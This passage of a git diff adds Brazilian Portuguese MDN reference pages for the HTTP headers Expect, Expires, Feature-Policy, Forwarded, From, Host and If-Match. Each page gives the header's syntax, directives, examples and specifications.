scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>Nenhuma outra expectativa exceto "100-continue" foi especificada atualmente.</p> + +<pre class="syntaxbox notranslate">Expect: 100-continue +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>100-continue</dt> + <dd>Informa os receptores que o cliente está para mandar uma mensagem com corpo (presumidamente grande) na requisição e deseja receber um código de status {{HTTPStatus("100")}} (Continue) como resposta interina.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Mensagem_de_corpo_grande">Mensagem de corpo grande</h3> + +<p>Um cliente envia uma requisição com cabeçalho Expect e aguarda a resposta do servidor antes de mandar o corpo da mensagem.</p> + +<pre class="notranslate">PUT /somewhere/fun HTTP/1.1 +Host: origin.example.com +Content-Type: video/h264 +Content-Length: 1234567890987 +Expect: 100-continue +</pre> + +<p>O servidor checa os cabeçalhos da requisição e responde com uma resposta {{HTTPStatus("100")}} (Continue) para instruir o cliente a continuar e enviar o corpo da mensagem, ou ele irá mandar um código de status {{HTTPStatus("417")}} (Expectativa Falhou) se qualquer uma das expectativas não pode ser cumprida.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Expect", "5.1.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Expect")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li> + <li>{{HTTPStatus("100")}}<code> Continue</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/expires/index.html b/files/pt-br/web/http/headers/expires/index.html new file mode 100644 index 0000000000..f3e9a073f2 --- /dev/null +++ b/files/pt-br/web/http/headers/expires/index.html @@ -0,0 +1,77 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +tags: + - Cabeçalhos +translation_of: Web/HTTP/Headers/Expires +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <code><strong>Expires</strong></code> contém a data/hora após a qual a resposta é considerada velha.</p> + +<p>Datas inválidas, como o valor 0, representam uma data no passado e significam que o recurso já expirou.</p> + +<p>Se existe um cabeçalho {{HTTPHeader("Cache-Control")}} com a diretiva "max-age" ou "s-maxage" na resposta, o cabeçalho <code>Expires</code> é ignorado.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de Header</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Expires: <http-date> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><http-date></dt> + <dd> + <p>Ums data/hora HTTP-date.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7234", "Expires", "5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Expires")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/feature-policy/index.html b/files/pt-br/web/http/headers/feature-policy/index.html new file mode 100644 index 0000000000..f432989f48 --- /dev/null +++ b/files/pt-br/web/http/headers/feature-policy/index.html @@ -0,0 +1,163 @@ +--- +title: Feature-Policy +slug: Web/HTTP/Headers/Feature-Policy +tags: + - Autorização + - Experimental + - Feature-Policy + - HTTP + - Permissões + - Política de Funcionalidade + - Referencia + - Segurança + - Web + - cabeçalho +translation_of: Web/HTTP/Headers/Feature-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O cabeçalho HTTP <strong><code>Feature-Policy</code></strong> provém um mecanismo para permitir ou proibir o uso de funcionalidades do navegador no seu próprio enquadramento, e o conteúdo dentro de quaisquer elementos {{HTMLElement("iframe")}} no documento.</span></p> + +<div class="note"> +<p>Este cabeçalho ainda está em estado experimental, e é sujeito a mudança a qualquer momento. Tenha cautela quando implementando isso no seu site. O cabeçalho agora foi renomeado para <code>Permissions-Policy</code> na especificação, e este artigo irá eventualmente ser atualizado para refletir estas atualizações.</p> +</div> + +<p>Para mais informação, veja o artigo principal <a href="/docs/Web/HTTP/Feature_Policy">Policy Feature</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Feature-Policy: <directive> <allowlist></pre> + +<dl> + <dt><code><directive></code></dt> + <dd>A diretiva Feature Policy que irá aplicar a <code>allowlist</code>. Veja {{anch("Diretivas")}} abaixo para a lista de nomes de diretivas.</dd> + <dt><code><allowlist></code></dt> + <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}</dd> +</dl> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>{{httpheader('Feature-Policy/accelerometer','accelerometer')}}</dt> + <dd>Controla se o documento atual é permitido de coletar informação sobre a aceleração do dispositivo através da interface {{DOMxRef("Accelerometer")}}.</dd> + <dt>{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}</dt> + <dd>Controla se o documento atual é permitido de coletar informação sobre a quantidade de luz no ambiente ao redor do dispositivo através da interface {{DOMxRef("AmbientLightSensor")}}.</dd> + <dt>{{httpheader('Feature-Policy/autoplay','autoplay')}}</dt> + <dd>Controla se o documento atual é permitido de tocar a mídia requisitada automaticamente através da interface {{domxref("HTMLMediaElement")}}. Quando esta política é desabilitada e não há ação do usuário, o {{domxref("Promise")}} returnado pelo {{domxref("HTMLMediaElement.play()")}} irá rejeitar com uma {{domxref("DOMException")}}. O atributo <em>autoplay </em>em elementos {{HTMLELement("audio")}} e {{HTMLElement("video")}} será ignorado.</dd> + <dt>{{httpheader('Feature-Policy/battery','battery')}}</dt> + <dd>Controla se o uso da <a href="/docs/Web/API/Battery_Status_API">API de Status de Bateria</a> é permitido. Quando esta política está desabilitada, o {{JSxRef("Promise")}} returnado pelo{{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} irá rejeitar com um {{DOMxRef("NotAllowedError")}} {{DOMxRef("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/camera', 'camera')}}</dt> + <dd>Controla se o documento atual é permitido de usar entradas de dispositivos de vídeo. Quando esta política está desabilitada, o {{jsxref("Promise")}} returnado pelo {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} irá rejeitar com um {{DOMxRef("NotAllowedError")}} {{DOMxRef("DOMException")}}.</dd> + <dt>{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}</dt> + <dd>Controla se o documento atual é permitido ou não de usar o método {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} para capturar conteúdos de tela. Quando esta política está desabilitada, a {{jsxref("Promise")}} retornada pelo <code>getDisplayMedia()</code> irá rejeitar com um <code>NotAllowedError</code> se a permissão não for obtida para capturar os conteúdos da tela.</dd> + <dt>{{httpheader('Feature-Policy/document-domain','document-domain')}}</dt> + <dd>Controle se o documento atual é permitido de colocar {{domxref("document.domain")}}. Quando esta política está desabilitada, tentativas em colocar {{domxref("document.domain")}} irão falhar e causar uma {{DOMxRef("SecurityError")}} {{domxref("DOMException")}} a ser jogada.</dd> + <dt>{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}</dt> + <dd>Controla se o documento atual é permitido de usar a API <a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Extensões de Mídias Encriptadas (<em>Encrypted Media Extensions</em>)</a> (EME). Quando esta política é desabilitada, a {{domxref("Promise")}} returnada pelo {{domxref("Navigator.requestMediaKeySystemAccess()")}} irá rejeitar com um {{domxref("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}</dt> + <dd>Controla se as tarefas devem ser executadas em enquadramentos enquanto não são renderizados (e.g. se um enquadramento é <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> ou <code>display: none</code>).</dd> + <dt>{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}</dt> + <dd>Controla se as tarefas devem ser executadas em enquadramentos enquanto eles estão fora da janela de visualização visível.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/fullscreen','fullscreen')}}</dt> + <dd>Controla se o documento atual é permitido de usar {{DOMxRef("Element.requestFullScreen()")}}. Quando esta política está desabilitada, a {{JSxRef("Promise")}} retornada rejeita com um {{JSxRef("TypeError")}} {{DOMxRef("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/geolocation','geolocation')}}</dt> + <dd>Controla se o documento atual é permitido de usar a interface {{domxref('Geolocation')}}. Quando a política está desabilitada, chamadas para {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} e {{domxref('Geolocation.watchPosition','watchPosition()')}} irão causar aos <em>callbacks</em> da funções serem invocados com um {{domxref('PositionError')}} de <code>PERMISSION_DENIED</code>.</dd> + <dt>{{httpheader('Feature-Policy/gyroscope','gyroscope')}}</dt> + <dd>Controla se o documento atual é permitido de coletar informação sobre a orientação do dispositivo através da interface {{DOMxRef("Gyroscope")}}.</dd> + <dt>{{httpheader('Feature-Policy/layout-animations','layout-animations')}}</dt> + <dd>Controla se o documento atual é permitido de mostrar animações de <em>layout</em>.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}</dt> + <dd>Controla se o documento atual é permitido de mostrar imagens em formatos legados.</dd> +</dl> + +<dl> + <dt>{{httpheader('Feature-Policy/magnetometer','magnetometer')}}</dt> + <dd>Controla se o documento atual é permitido de coletar informação sobre a orientação do dispositivo através da interface {{DOMxRef("Magnetometer")}}.</dd> + <dt>{{httpheader('Feature-Policy/microphone','microphone')}}</dt> + <dd>Controla se o documento atual é permitido de usar entradas de dispositivos de áudio. Quando esta política está desabilitada, a {{jsxref("Promise")}} returnada pelo {{domxref("MediaDevices.getUserMedia()")}} irá rejeitar com um <code>NotAllowedError</code>.</dd> + <dt>{{httpheader('Feature-Policy/midi', 'midi')}}</dt> + <dd>Controla se o documento atual é permitido de usar a <a href="/en-US/docs/Web/API/Web_MIDI_API">API Web MIDI</a>. Quando esta política está desabilitada, a {{jsxref("Promise")}} returnada pelo {{domxref("Navigator.requestMIDIAccess()")}} irá rejeitar com um {{domxref("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/navigation-override','navigation-override')}}</dt> + <dd>Controla a disponibilidade de mecanismos que habilitam o autor da página a tomar controle sobre o comportamento da <a href="https://www.w3.org/TR/css-nav/">navegação espacial (spatial navigation)</a>, ou cancelar completamente.</dd> + <dt>{{httpheader('Feature-Policy/oversized-images','oversized-images')}}</dt> + <dd>Controla se o documento atual é permitido de baixar e mostrar imagens grandes.</dd> + <dt>{{httpheader('Feature-Policy/payment', 'payment')}}</dt> + <dd>Controla se o documento atual permite o uso da <a href="/en-US/docs/Web/API/Payment_Request_API">API de Requisição de Pagamento (<em>Payment Request API</em>)</a>. Quando esta política está desabilitada, o construtor {{domxref("PaymentRequest","PaymentRequest()")}} irá jogar um <code>SecurityError</code> {{domxref("DOMException")}}.</dd> + <dt>{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}</dt> + <dd>Controla se o documento atual permite que um vídeo seja permitido tocar no modo <em>Picture-in-Picture</em> através da API correspondente.</dd> + <dt>{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}</dt> + <dd>Controla se o documento atual é permitido de usar a <a href="/en-US/docs/Web/API/Web_Authentication_API">API de Autenticação Web</a> para resgatar credenciais de chave pública já guardadas, i.e. através do {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.</dd> + <dt>{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}</dt> + <dd>Controla se o documento atual é permitido de fazer requisições síncronas {{DOMxRef("XMLHttpRequest")}}.</dd> + <dt>{{httpheader('Feature-Policy/usb', 'usb')}}</dt> + <dd>Controla se o documento atual é permitido de usar a <a href="https://wicg.github.io/webusb/">API WebUSB</a>.</dd> + <dt>{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}</dt> + <dd>Controla se o documento atual é permitido de usar a <a href="/en-US/docs/Web/API/WebVR_API">API WebVR</a>. Quando esta política é desabilitada, o {{jsxref("Promise")}} returnado pelo {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} irá rejeitar com um {{domxref("DOMException")}}. Tenha em mente que o padrão WebVR está em processo de ser substituído pelo <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd> + <dt>{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}</dt> + <dd>Controla se o documento atual é permitido de usar a <a href="https://www.w3.org/TR/wake-lock/">API Wake Lock</a> para indicar que o dispositivo não deve entrar em modo de economia de energia.</dd> + <dt>{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}</dt> + <dd>Controla se o documento atual é permitido de utilizar a <a href="/en-US/docs/Web/API/Screen_Wake_Lock_API">API Screen Wake Lock</a> para indicar se o dispositivo deve ou não escurecer a tela.</dd> + <dt>{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}</dt> + <dd>Controla se o documento atual é permitido ou não de usar a <a href="/en-US/docs/Web/API/WebXR_Device_API">API WebXR Device</a> para intergir com a sessão WebXR.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>SecureCorp Inc. quer desabilitar o Microfone e as APIs de Geolocalização em sua aplicação. Isso pode ser feito entregando o seguinte cabeçalho de resposta HTTP para definir a política de funcionalidade:</p> + +<pre class="notranslate">Feature-Policy: microphone 'none'; geolocation 'none'</pre> + +<p>Especificando a palavra-chave <code>'none'</code> para a lista de origem, as funcionalidades especificadas serão desabilitadas para todos os contextos de navegaçnao (incluindo todos os <em>iframes</em>), independente da origem.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Feature Policy","#permissions-policy-http-header-field","Permissions-Policy")}}</td> + <td>{{Spec2("Feature Policy")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Usando Feature Policy</a></li> + <li>{{DOMxRef("Document.featurePolicy")}} and {{DOMxRef("FeaturePolicy")}}</li> + <li><a class="external external-icon" href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop" rel="noopener">Feature-Policy Tester (Chrome Developer Tools extensão)</a></li> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/forwarded/index.html b/files/pt-br/web/http/headers/forwarded/index.html new file mode 100644 index 0000000000..f251147bbe --- /dev/null +++ b/files/pt-br/web/http/headers/forwarded/index.html @@ -0,0 +1,118 @@ +--- +title: Forwarded +slug: Web/HTTP/Headers/Forwarded +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Forwarded +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>Forwarded</code></strong> contém informação dos <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">servidores de proxy reverso</a> que é alterada ou perdida quando um proxy está envolvido no caminho da requisição.</p> + +<p>A versão alternativa e de fato padrão deste cabeçalho são os cabeçalhos {{HTTPHeader("X-Forwarded-For")}}, {{HTTPHeader("X-Forwarded-Host")}} e {{HTTPHeader("X-Forwarded-Proto")}}.</p> + +<p>Este cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo localmente dependente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Sendo assim, a privacidade do usuário deve sempre estar em mente quando utilizando este cabeçalho.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Forwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><identifier></dt> + <dd>Um identificador divulgando a informação que é alterada ou perdida usando um proxy. Ela pode ser tanto: + <ul> + <li>um endereço IP (v4 ou v6, opicionalmente com a porta, e IPv6 encapsulado por colchetes e aspas),</li> + <li>um identificador ofuscado (como um "_hidden" ou "_secret"),</li> + <li>ou "unknown" (desconhecido) quando a entidade precedente não é conhecida (e você ainda quer indicar que aquela repassagem da requisição foi feita).</li> + </ul> + </dd> + <dt>by=<identifier></dt> + <dd>A interface onde a requisição chegou ao servidor proxy.</dd> + <dt>for=<identifier></dt> + <dd>O cliente que iniciou a requisição e subsequentes proxies na cadeia de proxies.</dd> + <dt>host=<host></dt> + <dd>O cabeçalho de requisição {{HTTPHeader("Host")}} como foi recebido pelo proxy.</dd> + <dt>proto=<http|https></dt> + <dd> + <p>Indica qual protocolo foi usado para fazer a requisição (tipicamente "http" ou "https").</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Usando_o_cabeçalho_Forwarded">Usando o cabeçalho <code>Forwarded</code></h3> + +<pre class="notranslate">Forwarded: for="_mdn" + +# sem sensibilidade de capitalização +Forwarded: For="[2001:db8:cafe::17]:4711" + +# separado por ponto e vírgula +Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 + +# múltiplos valores podem ser concatenados usando uma vírgula +Forwarded: for=192.0.2.43, for=198.51.100.17 +</pre> + +<h3 id="Transicionando_de_X-Forwarded-For_para_Forwarded">Transicionando de <code>X-Forwarded-For</code> para <code>Forwarded</code></h3> + +<p>Se a sua aplicação, servidor, ou proxy suporta o cabeçalho padrozinado <code>Forwarded</code>, o cabeçalho {{HTTPHeader("X-Forwarded-For")}} pode então ser substituído. Note que o endereço IPv6 está entre colchetes e aspas em <code>Forwarded</code>.</p> + +<pre class="notranslate">X-Forwarded-For: 123.34.567.89 +Forwarded: for=123.34.567.89 + +X-Forwarded-For: 192.0.2.43, "[2001:db8:cafe::17]" +Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]" +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7239", "Forwarded", "4")}}</td> + <td>Forwarded HTTP Extension</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Forwarded")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}} – provém informação sobre o proxy em si, não sobre o cliente conectando a ele.</li> +</ul> diff --git a/files/pt-br/web/http/headers/from/index.html b/files/pt-br/web/http/headers/from/index.html new file mode 100644 index 0000000000..d0dd429117 --- /dev/null +++ b/files/pt-br/web/http/headers/from/index.html @@ -0,0 +1,74 @@ +--- +title: From +slug: Web/HTTP/Headers/From +tags: + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/From +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição <code><strong>From</strong></code> contém um endereço de email da Internet para um usuário humano que controla o agente de usuário requisitante poder enviar uma mensagem.</p> + +<p>Se você está rodando um agente de usuário robótico (e.g. um <em>crawler</em>), o cabeçalho <code>From</code> deve ser enviado, para que você possa contatar se problemas ocorrerem em servidores, como por exemplo, o robô estar enviando requisições excessivas, não desejadas ou inválidas.</p> + +<div class="warning"> +<p>Você não deve usar o cabeçalho <code>From</code> para controle de acesso ou autenticação.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">From: <email> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><email></dt> + <dd>Um endereço de email utilizável para mensagens serem enviadas.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">From: webmaster@example.org</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "From", "5.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.From")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/host/index.html b/files/pt-br/web/http/headers/host/index.html new file mode 100644 index 0000000000..de12664090 --- /dev/null +++ b/files/pt-br/web/http/headers/host/index.html @@ -0,0 +1,72 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +translation_of: Web/HTTP/Headers/Host +--- +<div>{{HTTPSidebar}}</div> + +<div> </div> + +<p>O cabeçalho de solicitação de <code><strong>Host</strong></code> especifica o nome de domínio do servidor (para hospedagem virtual), e (opcionalmente) o número da porta TCP no qual o servidor está escutando.</p> + +<p>Se nenhuma porta for fornecida a porta padrão para o serviço solicitado (por exemplo, "80" para um HTTP URL) está implícita.</p> + +<p>Um campo de cabeçalho de <code>Host </code>deve ser enviado em todas as mensagens desolicitação HTTP / 1. 1. Um código de status {{HTTPStatus("400")}} (Bad Request) será enviado para qualquer mensagem de solicitação HTTP/1.1 que não contenha um campo de cabeçalho do host ou contenha mais de um.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Host: <host>:<port> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><host></dt> + <dd>the domain name of the server (for virtual hosting).</dd> + <dt><port> {{optional_inline}}</dt> + <dd>TCP port number on which the server is listening.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre>Host: developer.cdn.mozilla.net</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Host", "5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Host")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("400")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/if-match/index.html b/files/pt-br/web/http/headers/if-match/index.html new file mode 100644 index 0000000000..29d3be3e2d --- /dev/null +++ b/files/pt-br/web/http/headers/if-match/index.html @@ -0,0 +1,94 @@ +--- +title: If-Match +slug: Web/HTTP/Headers/If-Match +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - Requisições Condicionais +translation_of: Web/HTTP/Headers/If-Match +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>If-Match</code></strong> faz a requisição condicional. Para métodos {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}, o servidor irá mandar de volta o recurso requisitado somente se ele corresponde com uma das <code>ETags</code> listadas. Para {{HTTPMethod("PUT")}} e outros métodos não-seguros, ele somente irá fazer o upload do recurso neste caso.</p> + +<p>A comparação com a {{HTTPHeader("ETag")}} guardada usa o <em>algoritmo de comparação forte</em>, significa dois arquivos são considerados idênticos <em>byte </em>a <em>byte </em>somente. Se a <code>ETag</code> listada com o prefixo <code>W/</code> indicando a <em>tag</em> como uma entidade fraca, ele nunca irá combinar usando este algoritmo de comparação.</p> + +<p>Existem dois casos de uso comuns:</p> + +<ul> + <li>Para os métodos {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}, utilizado em combinação com o cabeçalho {{HTTPHeader("Range")}}, ele pode garantir que novos intervalos requisitados venham do mesmo recurso ao invés do anterior. Se ele não corresponde, então uma resposta {{HTTPStatus("416")}} (Range Not Satisfiable) é retornarda.</li> + <li>Para outros métodos, e em particular para o método {{HTTPMethod("PUT")}}, <code>If-Match</code> pode ser usado para previnir o <a href="https://www.w3.org/1999/04/Editing/#3.1">problema de perde de atualização</a>. Ele pode checar se a modificação de um recurso que o usuário que fazer o upload não sobrescreverá outra modificação que foi feita desde que o recurso original foi buscado. Se a requisição não puder ser completada, a resposta {{HTTPStatus("412")}} (Precondition Failed) é retornada.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">If-Match: <etag_value> +If-Match: <etag_value>, <etag_value>, … +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><etag_value></dt> + <dd><em>Tags</em> de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como <code>"675af34563dc-tr34"</code>). Elas podem ser prefixadas por <code>W/</code> para indicar que elas são "fracas", i.e. que elas representam o recurso semânticamente, mas não byte-por-byte. Entretanto, em um cabeçalho <strong><code>If-Match</code></strong>, <em>tags</em> de entidade fraca nunca irão corresponder.</dd> + <dt><code>*</code></dt> + <dd>O asterísco é um valor especial representando qualquer recurso.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + +If-Match: "67ab43", "54ed21", "7892dd" + +If-Match: * +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7232", "If-Match", "3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Match")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("416")}}<code> Range Not Satisfiable</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff 